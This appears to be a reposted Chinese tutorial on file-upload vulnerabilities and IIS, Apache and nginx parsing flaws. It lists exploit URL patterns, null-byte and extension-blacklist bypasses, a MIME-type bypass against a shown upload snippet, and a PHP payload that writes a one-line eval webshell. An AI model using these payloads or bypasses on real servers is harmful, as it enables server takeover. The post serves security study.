nginx 上传文件漏洞_文件上传及解析漏洞
注:本文僅供學習參考
文件上傳定義:
文件上傳漏洞是指網絡攻擊者上傳了一個可執行的文件到服務器并執行。這里上傳的文件可以是木馬,病毒,惡意腳本或者WebShell等。
這種攻擊方式是最為直接和有效的,部分文件上傳漏洞的利用技術門檻非常的低,對于攻擊者來說很容易實施。
即便很容易被攻擊者利用漏洞,但是在今天的現代互聯網的Web應用程序,它是一種常見的要求,因為它有助于提高業務效率。企業支持門戶,給用戶各企業員工有效地共享文件。允許用戶上傳圖片,視頻,頭像和許多其他類型的文件。方便的同時也帶來了隱患。
文件上傳原理
由于程序員在對用戶文件上傳部分的控制不足或者處理缺陷,而導致用戶可以越過其本身權限向服務器上傳可執行的動態腳本文件。如一句話木馬,病毒等等。如果被惡意攻擊者拿到webshell的話危害是非常大的。
Apache、Tomcat、Nginx、IIS等都曝出過文件上傳解析漏洞。
文件上傳漏洞的話可以看對方服務器配置了什么中間件看是否存在解析漏洞,下面我們來了解一下解析漏洞。
解析漏洞
IIS6.0解析漏洞
使用iis5.x-6.x版本的服務器,打多是windows server 2003網站也是比較古老一般為asp開發的 該解析漏洞也只能解析asp的 不能解析aspx
目錄解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理:服務器默認會把.asp .asa目錄下的文件都解析成asp文件(如果上傳可以修改路徑的話可以修改成asp目錄下 利用解析漏洞使服務器把jpg文件解析成asp)
文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服務器默認不解析分號后面的內容因此xx.asp;.jpg被解析成asp文件(用于只允許jpg文件上傳等等)
IIS 7.5解析利用方法
漏洞與PHP配置有關,php.ini中的參數cgi.fix_pathinfo參數配置錯誤導致解析漏洞,開啟了cgi.fix_pathinfo,與IIS本身無關,僅是php開發有關,不支持asp、aps.net等其他語言。
上傳個一句話馬兒php.jpg,就是php一句話改名為jpg,然后以下面方式訪問:
http://www.xxxx.com/UploadFil...
APACHE解析漏洞
Apache解析文件是從右到左開始判斷的,如果后綴名識別不了就會往左繼續判斷,比如1.php.aaa.bbb.ccc aaa bbb ccc這種后綴名都識別不了直到識別成功為php(在低版本存在2.x)
漏洞形式
www.xxx.com/1.php.aa.bb
其余配置問題導致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .png即使擴展名是 jpg,一樣能以 php 方式執行。
nginx解析漏洞
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%200.php
xxx.jpg%00.php (Nginx <8.03 空字節代碼執行漏洞)
漏洞原理
Nginx默認是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當訪www.xx.com/phpinfo.jpg/1.php這個URL時,$fastcgi_script_name會被設置為“phpinfo.jpg/1.php”,然后構造成SCRIPT_FILENAME傳遞給PHP CGI,但是PHP為什么會接受這樣的參數,并將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfo這個選項了。 如果開啟了這個選項,那么就會觸發在PHP中的如下邏輯:
PHP會認為SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就會將phpinfo.jpg作為PHP文件來解析了。
另外一種手法:上傳一個名字為test.jpg,以下內容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php
下面附一張總圖
利用解析漏洞的前提是對方服務器存在這個漏洞才能利用,如果不存在的話我們只能通過其他方式,下面學習一下
常見的上傳檢測方式
1客戶端js檢測
2服務端mime類型檢測(檢測content-type內容)
3服務端目錄路徑檢測(檢測跟path參數相關的內容)
4服務端文件擴展名檢測(檢測跟文件extension相關的內容)
1客戶端js驗證
這個弄了等于沒弄 繞過方法可以禁用js 改js文件,抓包修改,上傳圖片馬等等等等
2服務端mime類型檢測
這是在服務端驗證客戶端發送的http請求包,如果內容類型不符合的,則拒絕該請求,我們來查看一下他源碼
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) )
{
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo "
圖片上傳失敗";}
else {
echo "
{$target_path} 圖片上傳成功!";}
可以看到,如果類型等于image/jpeg或者png并且字節小于100000可以通過,那我們正常上傳一個php木馬 抓包 在content-type處修改成image/jpeg類型即可
3.服務端目錄路徑檢測
目錄路徑檢測 一般就檢測路徑是否合法,但稍微特殊一點的都沒有防御 比如比較新的fckeditor php<=2.6.4任意文件上傳漏洞
當post下面的url的時候
Xx/xx/command=fileupload&type=image&
Currentfolder=fuck.php%00.gif http/1.0
修改文件上傳路徑 uploads
4.服務端文件擴展名檢測
黑名單檢測(不允許上傳什么類型)
白名單檢測(只允許上傳什么類型,其他都不行)
黑名單安全性比白名單安全性低 攻擊手法比白名單多 一般有個專門的blacklist文件 里面會包含常見的危險腳本文件 例如fckeditor2.4.3或之前版本的黑名單
黑名單繞過
1.找黑名單擴展名的漏網之魚 - 比如上面就漏掉了 asa 和 cer 之類
2.可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
3.特別文件名構造 - 比如發送的 http包里把文件名改成 help.asp. 或help.asp_(下劃線為空 格)
4.IIS 或 nginx 文件名解析漏洞 - 比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php
5.0x00 截斷繞過 比如:1.jpg%00.php
白名單檢測
比黑名單安全一些 但也不是絕對安全
1. 特別文件名構造 (同黑名單攻擊第 3 條)
2. IIS 或 nginx 文件名解析漏洞 (同黑名單攻擊第 4 條)
3. 0x00 截斷繞過 (同黑名單攻擊第 5 條)
4. .htaccess 文件攻擊,如果 PHP 安全沒配置好 就可以通過 move_uploaded_file 函數把自己寫的.htaccess 文件覆蓋掉服務上的 這樣就能任意定義解析名單了
雙文件上傳
檢測了第一個 沒檢測第二個
繞過二次渲染
攻擊函數本身
通過上傳不完整的圖片讓其渲染函數暴露,
第二種方法
對文件加載器進行溢出攻擊
還有一些條件競爭上傳之類的,大家有興趣可以去研究一下(本人去驗證的時候只成功過1,2次有點玄學)。可以去玩下upload的20關挺有意思的,繼續加油吧
總結
以上是生活随笔為你收集整理的nginx 上传文件漏洞_文件上传及解析漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: eureka 集群失败的原因_eurek
- 下一篇: uniapp无法使用substr_关公战